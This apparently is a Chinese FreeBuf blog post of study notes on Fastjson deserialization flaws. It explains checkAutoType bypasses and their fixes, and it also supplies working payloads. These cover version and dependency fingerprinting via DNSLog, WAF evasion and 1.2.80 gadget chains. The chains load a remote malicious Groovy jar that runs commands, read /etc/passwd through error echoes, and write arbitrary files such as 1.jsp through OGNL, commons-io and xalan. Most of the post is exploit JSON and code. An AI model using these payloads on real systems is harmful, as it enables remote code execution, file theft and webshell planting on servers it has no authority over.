freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hacking JSON 学习记录
2022-09-30 17:03:16
所属地 四川省

1、版本探测payload

<=1.2.47情况

payload:

[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

DNSLog:

1664527420_6336ac3ce70e3dbfa0c9a.png!small?1664527422831

<=1.2.68情况

payload:

[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

1664527439_6336ac4f1c65283a2dd10.png!small?1664527440036

<= 1.2.80情况

<= 1.2.80会收一次DNSLog请求,1.2.80版本在处理message过程中,会把它当做String类型进行处理,所以解析不成功

[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "first.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "second.dnslog.cn"
  }
}
}
]

1664527656_6336ad283d781fc3790e7.png!small?1664527657011

==1.2.83情况

会收到两个DNSLog请求

1664527665_6336ad31c467dca556792.png!small?1664527666547

异常回显确认版本

payload:

{"@type":"java.lang.AutoCloseable" JSON.parseObject("whatever",Person.class);

1664527686_6336ad46ea2982ce73141.png!small?1664527687815

源码:/.m2/repository/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class

1664527717_6336ad65024912a883827.png!small?1664527718151

2、依赖探测

DNSLog回显探测依赖库

反序列化漏洞,需要先探测使用了哪些组件,才可以使用对于的利用链进行攻击

{"@type":"java.lang.Class","val":${variable}}

variable:

探测依赖环境
spring:org.springframework.web.bind.annotation.RequestMapping 
tomcat:org.apache.catalina.startup.Tomcat 
groovy:groovy.lang.GroovyShell 
mysql:com.mysql.jdbc.Driver 
java 11:java.net.http.HttpClient
...

{"@type":"java.lang.Class","val":${variable}}

DNSLog回显探测payload:

{"@type": "java.net.Inet4Address",
  "val": {"@type": "java.lang.String" 
    {"@type": "java.util.Locale",
    "val": {"@type": "com.alibaba.fastjson.JSONObject",{
      "@type": "java.lang.String""@type": "java.util.Locale",
      "language": {"@type": "java.lang.String"
        {1: {"@type": "java.lang.Class","val": "java.net.http.HttpClient"}},
    "country": "857271A6.DNS.1433.EU.ORG"
  }}
}

依赖存在访问:{"1":"java.net.http.httpclient"}_857271A6.DNS.1433.EU.ORG

依赖不存在访问: {}_857271A6.DNS.1433.EU.ORG

这里有个小坑:如果链路上的DNS服务器缓存或不接受特殊字符,可能导致DNSLog记录丢失,测试只有MacOS可以ping带花括号的域名,Linux和Windows会报错

报错回显

payload:

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Driver"
}}

3、绕过 WAF

绕过 WAF ,在部分中间件中,multipart 支持指定 Content-Transformer-Encoding 可以使用 Base64 或 quoted-printable (QP 编码) 来绕过 WAF

大量字符绕过 WAF

[11111111111111111111111111111111111,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,...,{'\x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"... ]]]]]

其他特性

16进制、Unicode编码

,new:[NaN,x'00',{,/*}*/'\x40\u0074\x79\u0070\x65':xjava.lang.AutoClosea ble"

4、漏洞原理

通过checkAutoType()校验的方式,以下的漏洞基本上基于这几种方式

  1. 白名单里的类
  2. 开启了autotype
  3. 使用了JSONType注解
  4. 指定了期望类(expectClass)
  5. 缓存在mapping中的类
  6. 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

1.2.47

首先a的@type值为java.land.Class,可以查看Fastjson源码,会发现java.land.Class使用的是MiscCodec反序列化器,MiscCodec处理时,会把我们的利用的恶意类写入到了白名单的缓存mapping中

然后第二步通过checkAutoType优先从白名单里面获取我们写入的jdbcRowSetImpl恶意类,最后导致反序列化

1664527747_6336ad83e770384f9a766.png!small?1664527749795

1664527763_6336ad93698eade19b487.png!small?1664527765047

修复:

  1. 1.2.48版本增加java.lang.Class、java.net.InetAddress两个类的黑名单
  2. MiscCodec.java文件对cache缓存设置成false
  3. ParserConfig.java文件对checkAutoType()进行了相关策略调整

1.2.68

1.2.68也是一样的原理,通过期望类,这里使用的是java.lang.AutoCloseable,这个接口类在fastjson<=1.2.68版本还未加入fastjson黑名单,可以绕过了autoType的检测

然后使用第二个@type 的类名进行一次黑白名单的校验,当它不存在于黑名单的时候,便会调用TypeUtils.loadClass方法加载目标类,最后调用isAssignableFrom()方法,用来判断反序列化目标类是否实现了期望类接口,如果是,则返回该class对象,最后对目标类进行反序列化操作,漏洞触发

1664527778_6336ada24cf7b605c83f1.png!small?1664527779086

修复:

  1. 新增3个新的期望类黑名单java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable
  2. 引入了safeMode功能,作为控制反序列化的开关,开启后禁止反序列化

1.2.80

1.2.80同样是利用了期望类,这次使用的是java.lang.Throwable,java.lang.Exception是Throwable的子类,ongl.OgnlException继承于java.lang.Exception,所以可以添加到白名单中

1664527794_6336adb24990a6c8f6f3c.png!small?1664527795026

漏洞原理图:

1664527807_6336adbfe205268abd7ff.png!small?1664527809762

1664527819_6336adcb27934af328c48.png!small?1664527819796

测试代码:

public class MyClass {
    public String name;
}
public class MyException extends Throwable {
    private MyClass clazz;

    public void setClazz(MyClass clazz) {
        this.clazz = clazz;
    }
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.util.TypeUtils;

import java.lang.reflect.Field;
import java.util.concurrent.ConcurrentMap;

public class Test {
    public static void main(String[] args) throws Exception {
        String json2 = "{\n" +
                "\t\"a\": {\n" +
                "\t\t\"@type\": \"java.lang.Exception\",\n" +
                "\t\t\"@type\": \"MyException\",\n" +
                "\t\t\"clazz\": {},\n" +
                "\t\t\"stackTrace\": []\n" +
                "\t},\n" +
                "\t\"b\": {\n" +
                "\t\t\"@type\": \"MyClass\",\n" +
                "\t\t\"name\": \"asd\"\n" +
                "\t}\n" +
                "}";
        try {
            Object parse = JSON.parse(json2);
            System.out.println(parse);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们跟到代码中

  1. 第一步使用DefaultJSONParser对Json数据进行解析校验,获取ThrowableDeserializer解析器,这一部分不是本次的重点,暂时跳过
  2. 解析完数据后,会进入ParserConfig#checkAutoType,我们传入的期望类是java.land.Throwable,不为null,继续跟进

1664527859_6336adf33dde1339a8b2c.png!small?1664527859854

判断safeMode是否开启,默认没有开启;1056行判断我们typeName长度,如果大于192或者小于3,fastjson就抛异常不解析,我们传入的typeName为MyException,长度符合;

接着判断期望类是否为空,计算期望类的hash值是否在黑名单中,刚好java.land.Throwable不在黑名单,expectClassFlag赋值为true

1664527879_6336ae07ce180fdd2acb9.png!small?1664527880559

然后又是一些判断,使用二分搜索法查询MyException是否在白名单中

1664527891_6336ae1346fdfed2bc2a9.png!small?1664527891988

继续跟代码,用TypeUtils查询缓存mapping中是否存在MyException,这里由于没有添加过MyException,自然为null

1664527903_6336ae1f4a8c8f38e9e8f.png!small?1664527925124

接着这里expectClassFlag为true,所以会从classloader中加载MyExeption拿到class

1664527913_6336ae298d06397784a66.png!small?1664527925052

并且如果期望类不为空,同时我们传入的MyExcetion是java.lang.Throwable的子类,会把目标类加入缓存mapping中

1664527924_6336ae341c52e1fc5a9bc.png!small?1664527925126

解析完两个type标签,继续解析clazz标签,因为我们传入的是java.lang.Exception,属于Throwable的子类,所以fastjson会分配一个Throwable的反序列化器,跟进383行,进入/fastjson-1.2.80.jar!/com/alibaba/fastjson/parser/deserializer/ThrowableDeserializer#deserialze

1664527940_6336ae44a826bf4c44a8b.png!small?1664527941392

createException通过构造函数创建异常实例

1664527951_6336ae4fc4976e094681b.png!small?1664527952668

然后通过getDeserializer获取对应的反序列化器:ThrowableDeserializer

1664527962_6336ae5a4925bbded6260.png!small?1664527987037

使用反序列化器拿到FieldDeserializer,里面包含各个实例的字段,如果value不是fieldClass类型,这进入TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());进行类型装换,跟进

1664527972_6336ae640a888da550b97.png!small?1664527987032

然后进入castToJavaBean,这个方法主要是把我们写的"clazz":{}转成JavaBean的格式,继续跟进这个方法

1664527985_6336ae715f09266ee99f0.png!small?1664527987035

又一次使用getDeserializer获取反序列化器,这次传入的参数是我们的MyClass

1664527999_6336ae7fd0c6593fc2795.png!small?1664528001098

继续跟进,会发现会调用到ParserConfig#putDeserializer,填入MyClass,后续反序列化b标签时,checkAutoType过程中,"@type":"MyClass"就可以找到对应的类

1664528011_6336ae8bcc5001ca70b43.png!small?1664528012954

1664528069_6336aec5cfa13abf21c0c.png!small?1664528071514

  1. 流程:反序列化选择异常类作为期望类,Fastjson底层调用caseToJavaBean,创建Exception实例,绑定field,调用setter方法,添加到白名单中,后续即可继续完成反序列化。
  2. gadget的条件:类为Throwable的子类;setter方法的参数类型、public field参数类型或者是构造方法的参数类型实例化之后的类可利用

修复:

  1. java.land.Exception加入黑名单类
  2. 在TypeUtils.addmapping再进行一次autotype判断

5、1.2.80几条实用的利用链

groovy远程类加载

需要groovy依赖,测试环境进行测试,依次打下面两个poc

//反序列化将org.codehaus.groovy.control.ProcessingUnit 加入白名单
{
    "@type": "java.lang.Exception",
        "@type": "org.codehaus.groovy.control.CompilationFailedException",
        "unit": {}
} 
//反序列化将执行
{
    "@type": "org.codehaus.groovy.control.ProcessingUnit",
        "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
        "config": {
        "@type": "org.codehaus.groovy.control.CompilerConfiguration",
            "classpathList": "http://127.0.0.1:9090/attack-1.jar"
            },
    "gcl":null,
        "destDir":"/tmp"
}

新建项目,新建文件/fastjsonVul/attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java,打包成恶意的attack-1.jar包

package groovy.grape;

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
    public class GrabAnnotationTransformation2 implements ASTTransformation {

        public GrabAnnotationTransformation2() {
            try {
                Runtime.getRuntime().exec("open -a Calculator.app");
            } catch (IOException e) {
            }
        }

        @Override
        public void visit(ASTNode[] nodes, SourceUnit source) {

        }
    }

新建:/fastjsonVul/attack/src/main/resources/META-INF/services/org.codehaus.groovy.transform.ASTTransformation

groovy.grape.GrabAnnotationTransformation2

本地搭建环境测试:

1664528048_6336aeb02fa166f4b2c18.png!small?1664528050438

1664528070_6336aec69fb4c67b603be.png!small?1664528071517

aspectjtools报错回显读文件

Fastjson1.2.73-1.2.80,依赖aspectjtools,依次打下面三个poc,应用需要返回异常信息

{
	"@type": "java.lang.Exception",
	"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
{
	"@type": "java.lang.Class",
	"val": {
		"@type": "java.lang.String" {
				"@type": "java.util.Locale",
				"val": {
					"@type": "com.alibaba.fastjson.JSONObject",
					{
						"@type": "java.lang.String"
						"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
						"newAnnotationProcessorUnits": [{}]
					}
				}
{
	"@type": "java.lang.Character" {
		"C": {
			"x": {
				"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
				"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
				"fileName": "/etc/passwd"
			}
		}
	}
}

1664528087_6336aed75b1cbe6e3504d.png!small?1664528087989

OGNL+低版本CommonIO写文件

依赖:OGNL 3.2.21 CommonIO 2.0-2.6

{
    "su14": {
        "@type": "java.lang.Exception",
        "@type": "ognl.OgnlException"
    },
    "su15": {
        "@type": "java.lang.Class",
        "val": {
            "@type": "com.alibaba.fastjson.JSONObject",
            {
                "@type": "java.lang.String"
                "@type": "ognl.OgnlException",
                "_evaluation": ""
            }
        },
        "su16": {
            "@type": "ognl.Evaluation",
            "node": {
                "@type": "ognl.ASTMethod",
                "p": {
                    "@type": "ognl.OgnlParser",
                    "stream": {
                        "@type": "org.apache.commons.io.input.BOMInputStream",
                        "delegate": {
                            "@type": "org.apache.commons.io.input.ReaderInputStream",
                            "reader": {
                                "@type": "org.apache.commons.io.input.XmlStreamReader",
                                "is": {
                                    "@type": "org.apache.commons.io.input.TeeInputStream",
                                    "input": {
                                        "@type": "org.apache.commons.io.input.ReaderInputStream",
                                        "reader": {
                                            "@type": "org.apache.commons.io.input.CharSequenceReader",
                                            "charSequence": {
                                                "@type": "java.lang.String"
                                                "test8200个a"
                                            },
                                            "charsetName": "UTF-8",
                                            "bufferSize": 1024
                                        },
                                        "branch": {
                                            "@type": "org.apache.commons.io.output.WriterOutputStream",
                                            "writer": {
                                                "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
                                                "file": "1.jsp",
                                                "encoding": "UTF-8",
                                                "append": false
                                            },
                                            "charsetName": "UTF-8",
                                            "bufferSize": 1024,
                                            "writeImmediately": true
                                        },
                                        "closeBranch": true
                                    },
                                    "httpContentType": "text/xml",
                                    "lenient": false,
                                    "defaultEncoding": "UTF-8"
                                },
                                "charsetName": "UTF-8",
                                "bufferSize": 1024
                            },
                            "boms": [{
                                "@type": "org.apache.commons.io.ByteOrderMark",
                                "charsetName": "UTF-8",
                                "bytes": [36, 82]
                            }]
                        }
                    }
                }
            },
            "su17": {
                "@type": "ognl.Evaluation",
                "node": {
                    "@type": "ognl.ASTMethod",
                    "p": {
                        "@type": "ognl.OgnlParser",
                        "stream": {
                            "@type": "org.apache.commons.io.input.BOMInputStream",
                            "delegate": {
                                "@type": "org.apache.commons.io.input.ReaderInputStream",
                                "reader": {
                                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                                    "is": {
                                        "@type": "org.apache.commons.io.input.TeeInputStream",
                                        "input": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.input"
                                        },
                                        "branch": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.branch"
                                        },
                                        "closeBranch": true
                                    },
                                    "httpContentType": "text/xml",
                                    "lenient": false,
                                    "defaultEncoding": "UTF-8"
                                },
                                "charsetName": "UTF-8",
                                "bufferSize": 1024
                            },
                            "boms": [{
                                "@type": "org.apache.commons.io.ByteOrderMark",
                                "charsetName": "UTF-8",
                                "bytes": [36, 82]
                            }]
                        }
                    }
                }
            },
            "su18": {
                "@type": "ognl.Evaluation",
                "node": {
                    "@type": "ognl.ASTMethod",
                    "p": {
                        "@type": "ognl.OgnlParser",
                        "stream": {
                            "@type": "org.apache.commons.io.input.BOMInputStream",
                            "delegate": {
                                "@type": "org.apache.commons.io.input.ReaderInputStream",
                                "reader": {
                                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                                    "is": {
                                        "@type": "org.apache.commons.io.input.TeeInputStream",
                                        "input": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.input"
                                        },
                                        "branch": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.branch"
                                        },
                                        "closeBranch": true
                                    },
                                    "httpContentType": "text/xml",
                                    "lenient": false,
                                    "defaultEncoding": "UTF-8"
                                },
                                "charsetName": "UTF-8",
                                "bufferSize": 1024
                            },
                            "boms": [{
                                "@type": "org.apache.commons.io.ByteOrderMark",
                                "charsetName": "UTF-8",
                                "bytes": [36, 82]
                            }]
                        }
                    }
                }
            },
            "su19": {
                "@type": "ognl.Evaluation",
                "node": {
                    "@type": "ognl.ASTMethod",
                    "p": {
                        "@type": "ognl.OgnlParser",
                        "stream": {
                            "@type": "org.apache.commons.io.input.BOMInputStream",
                            "delegate": {
                                "@type": "org.apache.commons.io.input.ReaderInputStream",
                                "reader": {
                                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                                    "is": {
                                        "@type": "org.apache.commons.io.input.TeeInputStream",
                                        "input": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.input"
                                        },
                                        "branch": {
                                            "$ref": "$.su16.node.p.stream.delegate.reader.is.branch"
                                        },
                                        "closeBranch": true
                                    },
                                    "httpContentType": "text/xml",
                                    "lenient": false,
                                    "defaultEncoding": "UTF-8"
                                },
                                "charsetName": "UTF-8",
                                "bufferSize": 1024
                            },
                            "boms": [{
                                "@type": "org.apache.commons.io.ByteOrderMark",
                                "charsetName": "UTF-8",
                                "bytes": [36, 82]
                            }]
                        }
                    }
                }
            },
        }

OGNL+高版本CommonIO写文件

依赖:OGNL 3.2.21 CommonIO 2.7/2.8

{
	"su14": {
		"@type": "java.lang.Exception",
		"@type": "ognl.OgnlException"
	},
	"su15": {
		"@type": "java.lang.Class",
		"val": {
			"@type": "com.alibaba.fastjson.JSONObject",
			{
				"@type": "java.lang.String"
				"@type": "ognl.OgnlException",
				"_evaluation": ""
			}
		},
		"su16": {
			"@type": "ognl.Evaluation",
			"node": {
				"@type": "ognl.ASTMethod",
				"p": {
					"@type": "ognl.OgnlParser",
					"stream": {
						"@type": "org.apache.commons.io.input.BOMInputStream",
						"delegate": {
							"@type": "org.apache.commons.io.input.ReaderInputStream",
							"reader": {
								"@type": "org.apache.commons.io.input.XmlStreamReader",
								"inputStream": {
									"@type": "org.apache.commons.io.input.TeeInputStream",
									"input": {
										"@type": "org.apache.commons.io.input.ReaderInputStream",
										"reader": {
											"@type": "org.apache.commons.io.input.CharSequenceReader",
											"charSequence": {
												"@type": "java.lang.String"
												"test8200个a",
												"start": 0,
												"end": 2147483647
											},
											"charsetName": "UTF-8",
											"bufferSize": 1024
										},
										"branch": {
											"@type": "org.apache.commons.io.output.WriterOutputStream",
											"writer": {
												"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
												"file": "1.jsp",
												"charsetName": "UTF-8",
												"append": false
											},
											"charsetName": "UTF-8",
											"bufferSize": 1024,
											"writeImmediately": true
										},
										"closeBranch": true
									},
									"httpContentType": "text/xml",
									"lenient": false,
									"defaultEncoding": "UTF-8"
								},
								"charsetName": "UTF-8",
								"bufferSize": 1024
							},
							"boms": [{
								"@type": "org.apache.commons.io.ByteOrderMark",
								"charsetName": "UTF-8",
								"bytes": [36, 82]
							}]
						}
					}
				}
			},
			"su17": {
				"@type": "ognl.Evaluation",
				"node": {
					"@type": "ognl.ASTMethod",
					"p": {
						"@type": "ognl.OgnlParser",
						"stream": {
							"@type": "org.apache.commons.io.input.BOMInputStream",
							"delegate": {
								"@type": "org.apache.commons.io.input.ReaderInputStream",
								"reader": {
									"@type": "org.apache.commons.io.input.XmlStreamReader",
									"inputStream": {
										"@type": "org.apache.commons.io.input.TeeInputStream",
										"input": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"
										},
										"branch": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"
										},
										"closeBranch": true
									},
									"httpContentType": "text/xml",
									"lenient": false,
									"defaultEncoding": "UTF-8"
								},
								"charsetName": "UTF-8",
								"bufferSize": 1024
							},
							"boms": [{
								"@type": "org.apache.commons.io.ByteOrderMark",
								"charsetName": "UTF-8",
								"bytes": [36, 82]
							}]
						}
					}
				}
			},
			"su18": {
				"@type": "ognl.Evaluation",
				"node": {
					"@type": "ognl.ASTMethod",
					"p": {
						"@type": "ognl.OgnlParser",
						"stream": {
							"@type": "org.apache.commons.io.input.BOMInputStream",
							"delegate": {
								"@type": "org.apache.commons.io.input.ReaderInputStream",
								"reader": {
									"@type": "org.apache.commons.io.input.XmlStreamReader",
									"inputStream": {
										"@type": "org.apache.commons.io.input.TeeInputStream",
										"input": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"
										},
										"branch": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"
										},
										"closeBranch": true
									},
									"httpContentType": "text/xml",
									"lenient": false,
									"defaultEncoding": "UTF-8"
								},
								"charsetName": "UTF-8",
								"bufferSize": 1024
							},
							"boms": [{
								"@type": "org.apache.commons.io.ByteOrderMark",
								"charsetName": "UTF-8",
								"bytes": [36, 82]
							}]
						}
					}
				}
			},
			"su19": {
				"@type": "ognl.Evaluation",
				"node": {
					"@type": "ognl.ASTMethod",
					"p": {
						"@type": "ognl.OgnlParser",
						"stream": {
							"@type": "org.apache.commons.io.input.BOMInputStream",
							"delegate": {
								"@type": "org.apache.commons.io.input.ReaderInputStream",
								"reader": {
									"@type": "org.apache.commons.io.input.XmlStreamReader",
									"inputStream": {
										"@type": "org.apache.commons.io.input.TeeInputStream",
										"input": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"
										},
										"branch": {
											"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"
										},
										"closeBranch": true
									},
									"httpContentType": "text/xml",
									"lenient": false,
									"defaultEncoding": "UTF-8"
								},
								"charsetName": "UTF-8",
								"bufferSize": 1024
							},
							"boms": [{
								"@type": "org.apache.commons.io.ByteOrderMark",
								"charsetName": "UTF-8",
								"bytes": [36, 82]
							}]
						}
					}
				}
			}
		}

OGNL+commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6

可以写jar包等二进制文件

public static void main(String[] args) throws Exception {
    String url = "file:///D:/Downloads/1.txt";
    InputStream input = new URL(url).openStream();
    byte[] bs = new byte[input.available()];
    input.read(bs);
    String test = Base64.getEncoder().encodeToString(bs);
    byte[] testbs = test.getBytes();

    //1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6

    String poc1 = "\r\n"
        + "{\r\n"
        + "	\"su14\": {\r\n"
        + "		\"@type\": \"java.lang.Exception\",\r\n"
        + "		\"@type\": \"ognl.OgnlException\"\r\n"
        + "	},\r\n"
        + "	\"su15\": {\r\n"
        + "		\"@type\": \"java.lang.Class\",\r\n"
        + "		\"val\": {\r\n"
        + "			\"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"
        + "			{\r\n"
        + "				\"@type\": \"java.lang.String\"\r\n"
        + "				\"@type\": \"ognl.OgnlException\",\r\n"
        + "				\"_evaluation\": \"\"\r\n"
        + "			}\r\n"
        + "		},\r\n"
        + "		\"su16\": {\r\n"
        + "			\"@type\": \"ognl.Evaluation\",\r\n"
        + "			\"node\": {\r\n"
        + "				\"@type\": \"ognl.ASTMethod\",\r\n"
        + "				\"p\": {\r\n"
        + "					\"@type\": \"ognl.OgnlParser\",\r\n"
        + "					\"stream\": {\r\n"
        + "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n"
        + "  \"delegate\":{\r\n"
        + "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
        + "    \"input\":{\r\n"
        + "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n"
        + "      \"in\":{\r\n"
        + "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n"
        + "        \"charset\":\"utf-8\",\r\n"
        + "        \"bufferSize\": 1024,\r\n"
        + "        \"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n"
        + "      },\r\n"
        + "      \"doEncode\":false,\r\n"
        + "      \"lineLength\":1024,\r\n"
        + "      \"lineSeparator\":\"5ZWKCg==\",\r\n"
        + "      \"decodingPolicy\":0\r\n"
        + "    },\r\n"
        + "    \"branch\":{\r\n"
        + "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n"
        + "      \"targetPath\":\"1.txt\"\r\n"
        + "    },\r\n"
        + "    \"closeBranch\":true\r\n"
        + "  },\r\n"
        + "  \"include\":true,\r\n"
        + "  \"boms\":[{\r\n"
        + "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
        + "                  \"charsetName\": \"UTF-8\",\r\n"
        + "                  \"bytes\":"+Arrays.toString(testbs)+"\r\n"
        + "                }],\r\n"
        + "}\r\n"
        + "				}\r\n"
        + "			}\r\n"
        + "		},\r\n"
        + "		\"su17\": {\r\n"
        + "			\"$ref\": \"$.su16.node.p.stream\"\r\n"
        + "		},\r\n"
        + "		\"su18\": {\r\n"
        + "			\"$ref\": \"$.su17.bOM.bytes\"\r\n"
        + "		}\r\n"
        + "	}";
        System.out.println(poc1);
        JSON.parseObject(poc1);
        }

xalan-2.7.2+低版本CommonIO写文件

依次打下面的几个poc,替换第四个poc的数据和1.jsp,测试commons-io 2.6正常

fastjson1.2.73-1.2.80

xalan-2.7.2

dom4j-2.1.3

commons-io-2.0-2.6

{
    "@type": "java.lang.Exception",
    "@type": "org.apache.xml.dtm.DTMConfigurationException",
    "locator": {}
}
{
        "@type": "java.lang.Class",
        "val": {
            "@type": "java.lang.String" {
                "@type": "java.util.Locale",
                "val": {
                    "@type": "com.alibaba.fastjson.JSONObject",
                    {
                        "@type": "java.lang.String"
                        "@type": "org.apache.xml.dtm.DTMConfigurationException",
                        "locator": {}
                    }
                }
            }
{
    "su14": {
        "@type": "javax.xml.transform.SourceLocator",
        "@type": "org.apache.xpath.objects.XNodeSetForDOM",
        "nodeIter": {
            "@type": "org.apache.xpath.NodeSet"
        },
        "xctxt": {
            "@type": "org.apache.xpath.XPathContext",
            "primaryReader": {
                "@type": "org.dom4j.io.XMLWriter",
                "entityResolver": {
                    "@type": "org.dom4j.io.SAXContentHandler",
                    "inputSource": {
                        "byteStream": {
                            "@type": "java.io.InputStream"
                        }
                    }
                }
            }
        }
    }
}
{
    "su16": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "is": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "@type": "org.apache.commons.io.input.ReaderInputStream",
                        "reader": {
                            "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""数据code"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
                        },
                        "branch": {
                            "@type": "org.apache.commons.io.output.WriterOutputStream",
                            "writer": {
                                "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
                                "file": "1.jsp",
                                "encoding": "UTF-8",
                                "append": false
                            },
                            "charsetName": "UTF-8",
                            "bufferSize": 1024,
                            "writeImmediately": true
                        },
                        "closeBranch": true
                    },
                    "httpContentType": "text/xml",
                    "lenient": false,
                    "defaultEncoding": "UTF-8"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "@type": "org.apache.commons.io.ByteOrderMark",
                "charsetName": "UTF-8",
                "bytes": [
                    36, 82
                ]
            }]
        },
        "su17": {
            "@type": "java.io.InputStream",
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": {
                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                    "is": {
                        "@type": "org.apache.commons.io.input.TeeInputStream",
                        "input": {
                            "$ref": "$.su16.delegate.reader.is.input"
                        },
                        "branch": {
                            "$ref": "$.su16.delegate.reader.is.branch"
                        },
                        "closeBranch": true
                    },
                    "httpContentType": "text/xml",
                    "lenient": false,
                    "defaultEncoding": "UTF-8"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "@type": "org.apache.commons.io.ByteOrderMark",
                "charsetName": "UTF-8",
                "bytes": [
                    36, 82
                ]
            }]
        },
        "su18": {
            "@type": "java.io.InputStream",
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": {
                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                    "is": {
                        "@type": "org.apache.commons.io.input.TeeInputStream",
                        "input": {
                            "$ref": "$.su16.delegate.reader.is.input"
                        },
                        "branch": {
                            "$ref": "$.su16.delegate.reader.is.branch"
                        },
                        "closeBranch": true
                    },
                    "httpContentType": "text/xml",
                    "lenient": false,
                    "defaultEncoding": "UTF-8"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "@type": "org.apache.commons.io.ByteOrderMark",
                "charsetName": "UTF-8",
                "bytes": [
                    36, 82
                ]
            }]
        },
        "su19": {
            "@type": "java.io.InputStream",
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": {
                    "@type": "org.apache.commons.io.input.XmlStreamReader",
                    "is": {
                        "@type": "org.apache.commons.io.input.TeeInputStream",
                        "input": {
                            "$ref": "$.su16.delegate.reader.is.input"
                        },
                        "branch": {
                            "$ref": "$.su16.delegate.reader.is.branch"
                        },
                        "closeBranch": true
                    },
                    "httpContentType": "text/xml",
                    "lenient": false,
                    "defaultEncoding": "UTF-8"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "@type": "org.apache.commons.io.ByteOrderMark",
                "charsetName": "UTF-8",
                "bytes": [
                    36, 82
                ]
            }]
        }
